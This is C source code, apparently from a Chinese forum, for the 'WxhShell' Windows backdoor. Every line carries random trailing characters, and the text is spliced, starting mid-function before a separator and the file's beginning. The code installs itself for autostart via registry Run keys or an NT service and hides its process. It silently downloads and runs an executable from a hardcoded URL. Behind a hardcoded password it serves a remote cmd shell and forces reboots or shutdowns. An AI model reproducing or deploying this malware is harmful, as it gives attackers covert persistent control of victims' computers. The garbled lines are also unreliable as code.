    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]LhNP}c  
    if(Boot(SHUTDOWN)) A,qWg0A]nt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FVcoo V  
    else { 3$`qy|=zO  
    closesocket(wsh); M e  
    ExitThread(0); =#<TE~n2(  
    } L$+ap~ld  
    break; SW%d'1ya  
    } 9WuKW***  
  // 获取shell vb.`rj6  
  case 's': { _,4f z(  
    CmdShell(wsh); f[/E $r99J  
    closesocket(wsh); #_bSWV4  
    ExitThread(0); uU]4)Hp  
    break; =p)Wxk  
  } pJ#R :#P  
  // 退出 |f0KIb}d  
  case 'x': { UI 7JMeV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yVM 1W"Q  
    CloseIt(wsh); 29#;;n}p  
    break; x+9aTsZ  
    } Gx GZxf*(  
  // 离开 %h%^i   
  case 'q': { s^$zO p9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lLT;V2=osX  
    closesocket(wsh); m+Yj"RMx&  
    WSACleanup(); g.N~81A  
    exit(1); \TrhJ  
    break; ~WJEH#  
        } B/Lx,  
  } _6 ~/`_(KP  
  } vxo iPqo  
/*lSpsBn  
  // 提示信息 &6E^<v?]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gu:aSb  
} )nS;]7pB@  
  } Q[y75 [  
(v^L2Po  
  return; BS#@ehdig  
} f,Sybf/uHh  
>i4UU0m  
// shell模块句柄 kN>AY'1  
int CmdShell(SOCKET sock) x=bAR%i~  
{ ;Q2p~-0Q  
STARTUPINFO si;  wYS,|=y  
ZeroMemory(&si,sizeof(si)); QO)Q%K,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 16YJQ ue  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &Fl^&&1C  
PROCESS_INFORMATION ProcessInfo; zTP3JOe(  
char cmdline[]="cmd"; l 49)Cv/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4y+] V~p  
  return 0; *"Ipu"G5?  
} M>~jLu0@  
13Ee"r  
// 自身启动模式 o=2y`Eq  
int StartFromService(void) !G#3jh:kiY  
{ J+LFzl07q  
typedef struct ]v 6u  
{ cv0}_<Tyx  
  DWORD ExitStatus; g/4.^c  
  DWORD PebBaseAddress; q"A(l  
  DWORD AffinityMask; ;#!`c gAh  
  DWORD BasePriority; lFD$ Mc  
  ULONG UniqueProcessId; ~'HwNzDQc  
  ULONG InheritedFromUniqueProcessId; Ajhrsa\~a  
}   PROCESS_BASIC_INFORMATION; gBq,So  
8lt P)K4  
PROCNTQSIP NtQueryInformationProcess; 2|#3rF  
ue$\ i=jw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .Lp0_R@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a$FELlMv  
t.>vLzrU  
  HANDLE             hProcess; ;EE*#"IJ  
  PROCESS_BASIC_INFORMATION pbi; xk}YeNVj  
 OXzJ%&h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ni GK| Z   
  if(NULL == hInst ) return 0; 1z$;>+g<  
?PSm) ~ Oa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rBkf@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q4Q*5>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'j!7 O+7y  
6pQ#Zg()vp  
  if (!NtQueryInformationProcess) return 0; V D.p"F(]  
!w98 [BE7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +tOBt("5/  
  if(!hProcess) return 0; s%J|r{F6  
w-|i8%X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aIZ@5w"7  
z8= Gc$w!  
  CloseHandle(hProcess); >OwVNG  
ID5?x8o#k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * KFsO1j  
if(hProcess==NULL) return 0; KC? hsID{  
[cru+c+O:  
HMODULE hMod; =[?2'riI  
char procName[255]; 'e\m6~u\hm  
unsigned long cbNeeded; 3U@ p  
oWo"` "P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xue-5 '  
lb&tAl"D  
  CloseHandle(hProcess); ?U2ed)zzw  
}jfU qqFd  
if(strstr(procName,"services")) return 1; // 以服务启动 =6q?XOM  
o'%F*>#v  
  return 0; // 注册表启动 C&3#'/&  
} #* S0d1  
)AqM?FE4R  
// 主模块 OtF{=7  
int StartWxhshell(LPSTR lpCmdLine) r&xqsZ%R  
{ Z.:5< oEKg  
  SOCKET wsl; Yk:fV&]  
BOOL val=TRUE; 5}~*,_J2Z  
  int port=0; oFHVA!lqe  
  struct sockaddr_in door; 9ToM5oQ  
J~DP*}~XK  
  if(wscfg.ws_autoins) Install(); 7~eo^/Pb S  
-^$CGRE6A  
port=atoi(lpCmdLine); bP Er+?fu  
]<4Yor}t{;  
if(port<=0) port=wscfg.ws_port; /[GOs*{zB  
f3V&i)w(  
  WSADATA data; sxO_K^eD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rNqJL_!  
nV McHN   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HQaKG4Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [lQp4xgxi  
  door.sin_family = AF_INET; ,ye>D='  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %g0"Kj5  
  door.sin_port = htons(port); HHCsWe-  
Fx0K.Q2Y0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8b(UqyV  
closesocket(wsl); ;MCv  
return 1; dj?.Hc7od  
} u-pE ;|  
A86#7  
  if(listen(wsl,2) == INVALID_SOCKET) { |>A1J:  
closesocket(wsl); u$&7fmZ  
return 1; s:R>uGYOd  
} :I F&W=?9  
  Wxhshell(wsl); 1 xiq]~H  
  WSACleanup(); I\Y/*u  
sG0cN;I]t  
return 0; 9 o-T#~i  
1F/`*z  
} gUL`)t\}*  
=9YyUAJZ  
// 以NT服务方式启动 lV`y6{o#T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !o:RIwS3  
{ vp4!p~C{  
DWORD   status = 0; 5D-xm$8C  
  DWORD   specificError = 0xfffffff; K,|Gtaa~  
s3_i5,y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z=R>7~H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (~}yt.7K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 20 zIO.&o  
  serviceStatus.dwWin32ExitCode     = 0; B HoZ}1_  
  serviceStatus.dwServiceSpecificExitCode = 0; %9-).k  
  serviceStatus.dwCheckPoint       = 0; =NF},j"  
  serviceStatus.dwWaitHint       = 0; 05DK-Wh?  
VV?+q)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;{q7rsE  
  if (hServiceStatusHandle==0) return; A7+eWg{  
*u 3K8"XZ  
status = GetLastError(); 6peO9]Zy  
  if (status!=NO_ERROR) Nh]eZ3O  
{ %nF6n:|:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g}$]K! F  
    serviceStatus.dwCheckPoint       = 0; eAu3,qoM  
    serviceStatus.dwWaitHint       = 0; rNfua   
    serviceStatus.dwWin32ExitCode     = status; 0}PW?t76  
    serviceStatus.dwServiceSpecificExitCode = specificError; K ^A\S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n9t8RcJS:  
    return; 4zpprh+`K  
  } /r[0Dw  
'e7<&wm ia  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ` B : Ydf  
  serviceStatus.dwCheckPoint       = 0; g?^o++  
  serviceStatus.dwWaitHint       = 0; HP. j.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6;I&{9  
} UG&/0{j5XV  
G}BO!Z6  
// 处理NT服务事件,比如:启动、停止 Tp)-L0kD_k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YmB z$  
{ FFR_1Vf  
switch(fdwControl) K$ #(\-M  
{ -g;iMqh#  
case SERVICE_CONTROL_STOP: -7'>Rw  
  serviceStatus.dwWin32ExitCode = 0; {{SQL)yJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G0CmY43  
  serviceStatus.dwCheckPoint   = 0; _s|C0Pt  
  serviceStatus.dwWaitHint     = 0; ~hE"B) e  
  { V_Wv(G0-\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6}n_r}kNR  
  } i)+@'!6  
  return; D7[ 8*^  
case SERVICE_CONTROL_PAUSE:  #XQEfa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C[&  \Xq  
  break; EtcAU}9  
case SERVICE_CONTROL_CONTINUE: _;v4 ]MU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k/j]*~"  
  break; {]Nvq9?  
case SERVICE_CONTROL_INTERROGATE: Xv]O1fcI  
  break; fk#SD "iJ  
}; 2o6KVQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Ml)g=Fq  
} ;5PXPpJ  
::9U5E;!  
// 标准应用程序主函数 +QtK "5M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ojT TYR{  
{ ~U~KUL|  
_?Rprmjx}  
// 获取操作系统版本 c[3sg  
OsIsNt=GetOsVer(); $;@^coz9U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LUHj3H  
=>)l6**UE  
  // 从命令行安装 \n6#D7OV  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9p+DA s{i  
CbS- Rz:  
  // 下载执行文件 D;.-e  
if(wscfg.ws_downexe) { n0>#?ek12  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9y>dDNM\<  
  WinExec(wscfg.ws_filenam,SW_HIDE); GBHv| GO  
} b5No>U) /  
;} Ty b  
if(!OsIsNt) { g9<*+fV 2$  
// 如果时win9x,隐藏进程并且设置为注册表启动 U $# ?Lw  
HideProc(); TlQ#0_as[  
StartWxhshell(lpCmdLine); Xb?P'nD  
} ?`u Y*+u  
else Eu l,1yR  
  if(StartFromService()) (6^v`SZ  
  // 以服务方式启动 Al5E  
  StartServiceCtrlDispatcher(DispatchTable); rs]%`"&=  
else g&`e2|[7  
  // 普通方式启动 ht (RX  
  StartWxhshell(lpCmdLine); *_!nil3(i  
pTprU)sa7  
return 0; [_G_Wl'#8  
} pBL,kqYNA>  
^Q pP'  
.Quu_S_ vH  
i,8h B(M!  
=========================================== ;8'hvc3i$  
B~D{p t3y  
/[q6"R!uMz  
z{]$WVs:^  
CJ8XKy  
#@w8wCj  
" +j1s*}8  
VY<$~9a&1  
#include <stdio.h> po4seW!  
#include <string.h> M56^p ,  
#include <windows.h> ]e$mTRi*  
#include <winsock2.h> M/EEoK^K@  
#include <winsvc.h> )iNM jg  
#include <urlmon.h> 9s>q4_D  
WldlN?[j  
#pragma comment (lib, "Ws2_32.lib") }rj.N98  
#pragma comment (lib, "urlmon.lib") 4c_TrNwP  
3=RVJb  
#define MAX_USER   100 // 最大客户端连接数 |F=!0Id<  
#define BUF_SOCK   200 // sock buffer YiJnh47  
#define KEY_BUFF   255 // 输入 buffer }%c2u/PQ  
zflq|dW  
#define REBOOT     0   // 重启 TD'RvTpl  
#define SHUTDOWN   1   // 关机 *T-+Pm-Cq  
FIL?nkYEO  
#define DEF_PORT   5000 // 监听端口 (0/,R  
LBq~?Q.e  
#define REG_LEN     16   // 注册表键长度 DJVH}w}9_P  
#define SVC_LEN     80   // NT服务名长度 Nj$3Ig"l  
qjFz}6  
// 从dll定义API 8UJK]_99I,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q_bE?j{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VUpa^R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eee77.@y-p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cY8X A6  
|`+kZ-M*  
// wxhshell配置信息 ]v(8i3P84  
struct WSCFG { 0x7F~%%2  
  int ws_port;         // 监听端口 V(I!HT5.W  
  char ws_passstr[REG_LEN]; // 口令 x$Y44v'>  
  int ws_autoins;       // 安装标记, 1=yes 0=no t~U:Ea[gd  
  char ws_regname[REG_LEN]; // 注册表键名 X; I:i%-  
  char ws_svcname[REG_LEN]; // 服务名 /2N'SOX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G0oY`WXOB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4wjy)VD_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )h6hN"#V5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gHdNqOy c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UCG8=+t5T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '3TwrY?-  
H .*:+  
}; f!%G{G^`  
AFE6@/'  
// default Wxhshell configuration F0:|uC4  
struct WSCFG wscfg={DEF_PORT, $\M<gW6  
    "xuhuanlingzhe",  J@sH(S  
    1, ;\ ^'}S|3Z  
    "Wxhshell", Dk8 O*B   
    "Wxhshell", W; yNg  
            "WxhShell Service", "O{j}QwY  
    "Wrsky Windows CmdShell Service", rH*1bDL  
    "Please Input Your Password: ", 5b>-t#N,  
  1,  yY_(o]k  
  "http://www.wrsky.com/wxhshell.exe", #hG0{_d7  
  "Wxhshell.exe" C))5,aX  
    }; `B6*wE-|  
7ss Y*1b  
// 消息定义模块 ,I6jfXI4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M8dv y!D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <Hd8Jd4f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .1n=&d|  
char *msg_ws_ext="\n\rExit."; 701a%Jq_2  
char *msg_ws_end="\n\rQuit."; 1P4cB w%  
char *msg_ws_boot="\n\rReboot..."; JjA3G`m=  
char *msg_ws_poff="\n\rShutdown..."; KZy2c6XO;  
char *msg_ws_down="\n\rSave to "; ~puXZCatN  
b3R1L|@  
char *msg_ws_err="\n\rErr!"; I><B6pIR  
char *msg_ws_ok="\n\rOK!"; G"k.sRKu  
ha[c<e]uo[  
char ExeFile[MAX_PATH]; qE B3Y54+  
int nUser = 0; sZe$?k|  
HANDLE handles[MAX_USER]; T8<pb^#  
int OsIsNt; .5L|(B=H  
s?Lx\?T  
SERVICE_STATUS       serviceStatus; >QyJRMY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 21NGsG  
paKur%2u  
// 函数声明 0RHKzk6~c  
int Install(void); `9;0Y  
int Uninstall(void); LLyw9y1  
int DownloadFile(char *sURL, SOCKET wsh); %+ln_lgD:  
int Boot(int flag); ot\  FZ  
void HideProc(void); ;f;A"  
int GetOsVer(void); F1_s%&  
int Wxhshell(SOCKET wsl); w O H{L  
void TalkWithClient(void *cs); 0s9-`nHen|  
int CmdShell(SOCKET sock); y7CC5S ?  
int StartFromService(void); &T.d"i  
int StartWxhshell(LPSTR lpCmdLine); f( M$m,d  
l5h+:^#M5c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X,5}i5'!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U ?iw  
#jrtsv]  
// 数据结构和表定义 Z9 z!YaOL  
SERVICE_TABLE_ENTRY DispatchTable[] = )6+Z99w  
{ ))T@U?r  
{wscfg.ws_svcname, NTServiceMain}, o<h2]TN  
{NULL, NULL} D;nd_{%  
}; $4>(}  
k1lo{jw`  
// 自我安装 5Zf^cou  
int Install(void) B":9C'tip  
{ 26M:D&|ZB  
  char svExeFile[MAX_PATH]; aE|'%72g  
  HKEY key; TxJoN]Z.  
  strcpy(svExeFile,ExeFile); 1`hmD1d  
oX=dJJ E  
// 如果是win9x系统,修改注册表设为自启动 v~8Cp C  
if(!OsIsNt) { z*V 8l*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { su$IXI#R-&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .7 K)'  
  RegCloseKey(key); &9Y ^/W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { < `$svM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mpr_AL!ZO~  
  RegCloseKey(key); epicY  
  return 0; }b5omHUE%  
    } y^!>'cdV  
  } YD3jP}Ym  
} yj$$k~@  
else { "Jahc.I  
2LfiaHO  
// 如果是NT以上系统,安装为系统服务 z`"*60b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jgvzp  
if (schSCManager!=0) SND@#?hiO  
{ @V?T'@W7D  
  SC_HANDLE schService = CreateService Vu`5/QDq  
  ( 1Clid\T,o  
  schSCManager, uTShz3  
  wscfg.ws_svcname, Z";&1cK  
  wscfg.ws_svcdisp, ` 0$i^,}  
  SERVICE_ALL_ACCESS, /0Jf/-}ovn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eA{ nwtN  
  SERVICE_AUTO_START, >&DC[)28  
  SERVICE_ERROR_NORMAL, pV8_i7\  
  svExeFile, nND; lVQSO  
  NULL, Z~0TO-Q  
  NULL, `uKsFX M  
  NULL, vjL +fH<0:  
  NULL, !>:SPt l  
  NULL _<E.?K$gbU  
  ); T_)g/,5>  
  if (schService!=0) /Nc)bF%gX  
  { h;+{0a  
  CloseServiceHandle(schService); iQJa6QF&:  
  CloseServiceHandle(schSCManager); #a`D6;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M7[GwA[Z +  
  strcat(svExeFile,wscfg.ws_svcname); xTU;rJV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yk0tA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pG6?"*Fz;  
  RegCloseKey(key); |oWl9j]Z  
  return 0; e# U@n j6  
    } ;A G&QdTMh  
  } +v2)'?BS  
  CloseServiceHandle(schSCManager); ^w!1QH0:/  
} _/czH<   
} Y{Ff I+  
9u6VN]divB  
return 1; f, '*f:(  
} cR{F|0X  
Z%Pv,h'Q  
// 自我卸载 zfD@/kU  
int Uninstall(void) &cWC&Ws"  
{ GlHP`&;UH  
  HKEY key; mm9uhlV8  
=F2`X#x_j  
if(!OsIsNt) { { 2%'=v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Q!|fn0Sv  
  RegDeleteValue(key,wscfg.ws_regname); "38L ,PW0Z  
  RegCloseKey(key); 28LBvJVq@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~<.{z]*O  
  RegDeleteValue(key,wscfg.ws_regname); /-knqv  
  RegCloseKey(key); 6HguZ_jC  
  return 0; soRY M  
  } n $lVmQ6  
} QuP)j1"X  
} Z2L7US -  
else { MQQQaD:v  
NEUr w/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e^<'H  
if (schSCManager!=0) hx*4xF  
{ 04WxV(fo'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =r)LG,w212  
  if (schService!=0)  y!dw{Lz  
  { 48Jt5Jz_  
  if(DeleteService(schService)!=0) { MgP&9  
  CloseServiceHandle(schService); : ?}mu1  
  CloseServiceHandle(schSCManager); ,(RpBTV  
  return 0; (wFoI}s  
  } K5rra%a-7  
  CloseServiceHandle(schService); P5H_iH  
  } ]h#QA;   
  CloseServiceHandle(schSCManager); T, +=ka$  
}  &1f3e  
} v}J0j  
fP[S.7F+No  
return 1; 2FW"uYA;6  
} 2z.~K&+x  
)QW hzY  
// 从指定url下载文件 a)4%sX*I  
int DownloadFile(char *sURL, SOCKET wsh) .EPv4[2%F8  
{ Qqi?DW1)-  
  HRESULT hr; Z4X, D`s  
char seps[]= "/"; l1#.r g  
char *token; qqJghV$Oj  
char *file; M}j[{wW3  
char myURL[MAX_PATH]; JljCI@  
char myFILE[MAX_PATH]; 2">de/jS  
`rXb:P7m{j  
strcpy(myURL,sURL); t 9t '9  
  token=strtok(myURL,seps); #1C]ZV] B  
  while(token!=NULL) eIEL';N6  
  { W':b6}?  
    file=token; ,>01Cs=t8  
  token=strtok(NULL,seps); x#5vdBf  
  } h-//v~V)  
uts>4r>+  
GetCurrentDirectory(MAX_PATH,myFILE); hj&~Dn(  
strcat(myFILE, "\\"); z` YC3_d  
strcat(myFILE, file); 5*f54g"'  
  send(wsh,myFILE,strlen(myFILE),0); mlCBstt{  
send(wsh,"...",3,0); L }3eZ-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d``wx}#Uk  
  if(hr==S_OK) tot~\S  
return 0; 6uv~.-T<l  
else z(8G=C  
return 1; piH0_7qr  
Q)y5'u qZ  
} mo3A*|U  
"G-h8IN^O  
// 系统电源模块 kxN O9w  
int Boot(int flag) Ozhn`9L+1!  
{ `a:3S@n(}  
  HANDLE hToken; k$ T  
  TOKEN_PRIVILEGES tkp; ;X a N  
AAs&P+;  
  if(OsIsNt) { ByuBZ!m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &XdTY +  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q-!gO  
    tkp.PrivilegeCount = 1; hkyO_ns  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0 )cSm"s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g1?9ge 1  
if(flag==REBOOT) { SB08-G2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o<iU;15  
  return 0; 1<fW .Q)  
} O) TS$  
else { _si5z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @tPr\F  
  return 0; c{dabzL y  
} _;U%`/T b  
  } =-_hq'il  
  else { UX[s5#  
if(flag==REBOOT) { _G-y{D_S&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Rj H68=n  
  return 0; dWQB1Y*N  
} !V(r p80  
else { s*_fRf:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1og+(m`BL  
  return 0; G&Dl($  
} 5 2 Qr  
} )`(]jx!  
cC>Svf[CzK  
return 1; e8T"d%f?  
} qrp@   
Rzh.zvxTp  
// win9x进程隐藏模块 `'^o45  
void HideProc(void) ;x 2o|#`b  
{ oGB|k]6]|  
{l5fKVb\C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <xF]ca  
  if ( hKernel != NULL ) $2}#):`  
  { JB].ht  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @{q<"hT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !zx8I7e4  
    FreeLibrary(hKernel); *!JB^5(H  
  } L@/IyQ[H1  
5-$D<}Z  
return; b=1E87i@W  
} ^r.CUhx)  
L'S,=NYXY  
// 获取操作系统版本 OA=~ i/n~  
int GetOsVer(void) qljsoDG  
{ :UP8nq  
  OSVERSIONINFO winfo; F[$cE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Osm))Ua(  
  GetVersionEx(&winfo); d"miPR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %7}j|eS)G  
  return 1; 9]w?mHslE  
  else NU?<bIQ  
  return 0; PU,$YPrZ  
} hm d3W`8D  
J{prI;]K  
// 客户端句柄模块 (YYg-@IO  
int Wxhshell(SOCKET wsl) Jy% ?"wn  
{ OR!W3 @  
  SOCKET wsh; ![_0GFbT  
  struct sockaddr_in client; xQDQgvwa  
  DWORD myID; J ffaT_"\  
{4,],0bjx/  
  while(nUser<MAX_USER) w(aHB8T  
{ =#[oi3k  
  int nSize=sizeof(client); ;m#4Q6k)V?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); prN+{N8YC  
  if(wsh==INVALID_SOCKET) return 1; Ikf[K%NKn  
b^C27s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); % g  
if(handles[nUser]==0) .kg 3>*  
  closesocket(wsh); *j&)=8Y|   
else ^}p##7t [  
  nUser++; T:Nk9t$W7@  
  } B+U:=591  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WEe7\bWF  
4F G0'J&hw  
  return 0; W"_<SYVJ  
} [bP^RY:  
eBnx$  
// 关闭 socket tx>7?e8E  
void CloseIt(SOCKET wsh) 6Q [  
{ >FwK_Zd'  
closesocket(wsh); mc8Q2eQat}  
nUser--; e }?.3,?  
ExitThread(0); iaEQF]*cC  
} ed#fDMXGQ%  
A2:}bb~H  
// 客户端请求句柄 g ,EDE6`8  
void TalkWithClient(void *cs) O_a^|ln&  
{ {FI*oO1A~  
@QVg5  
  SOCKET wsh=(SOCKET)cs; rf%lhBv  
  char pwd[SVC_LEN]; Rh|9F yN  
  char cmd[KEY_BUFF]; "%Y=+  
char chr[1]; c_*w<vJ-'  
int i,j; i$<['DY  
5X)M)"rq;V  
  while (nUser < MAX_USER) { *$-X&.h[  
=X7kADRq  
if(wscfg.ws_passstr) { y< *-&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A8vd@0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FUI*nkZY  
  //ZeroMemory(pwd,KEY_BUFF); b;UDgq8v  
      i=0; pN5kcvQ  
  while(i<SVC_LEN) { 2.niB>  
,GYQ,9:  
  // 设置超时 } #H,oy;Dz  
  fd_set FdRead; >lUPOc  
  struct timeval TimeOut; Vn sV&cx  
  FD_ZERO(&FdRead); v f{{z%3T  
  FD_SET(wsh,&FdRead); X'PZCg W  
  TimeOut.tv_sec=8; S \]O8#OX  
  TimeOut.tv_usec=0; d7vPZ_j^z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )8W! |  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A5yVxSF  
uW!XzX['  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MmjZq  
  pwd=chr[0]; e6j1Fa9  
  if(chr[0]==0xd || chr[0]==0xa) { #Z2 'Y[@.  
  pwd=0; ?QT6q]|d0+  
  break; w/m@(EBK  
  } =eQB-Xe8Y  
  i++; N:| :L:<1  
    } ~h3G}EH  
?<!q F:r:  
  // 如果是非法用户,关闭 socket W^ L ^7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /_qq(,3  
} bKCE;Wu:G  
;F"!$Z/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MIIl+   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,7&\jET5^0  
(V6bX]<  
while(1) { I!Z`'1"  
3t TOs  
  ZeroMemory(cmd,KEY_BUFF); z:#]P0  
~k?rP}>0  
      // 自动支持客户端 telnet标准   05FGfnq.8  
  j=0; S"h;u=5it  
  while(j<KEY_BUFF) { r$={_M$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JFm@jc  
  cmd[j]=chr[0]; e`qrafa  
  if(chr[0]==0xa || chr[0]==0xd) { V'XEz;Ze  
  cmd[j]=0; Qi`3$<W>  
  break; "frZ%mv  
  } bzNnEH`^]  
  j++; ?`U_|Yo  
    } /fp8tL2Y  
3E|||3rf  
  // 下载文件 fI)XV7,X  
  if(strstr(cmd,"http://")) { bN. G%1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V@`b7GM  
  if(DownloadFile(cmd,wsh)) j;-Wf6h{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dw<i)P^   
  else ~rBFP)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N^rpPq  
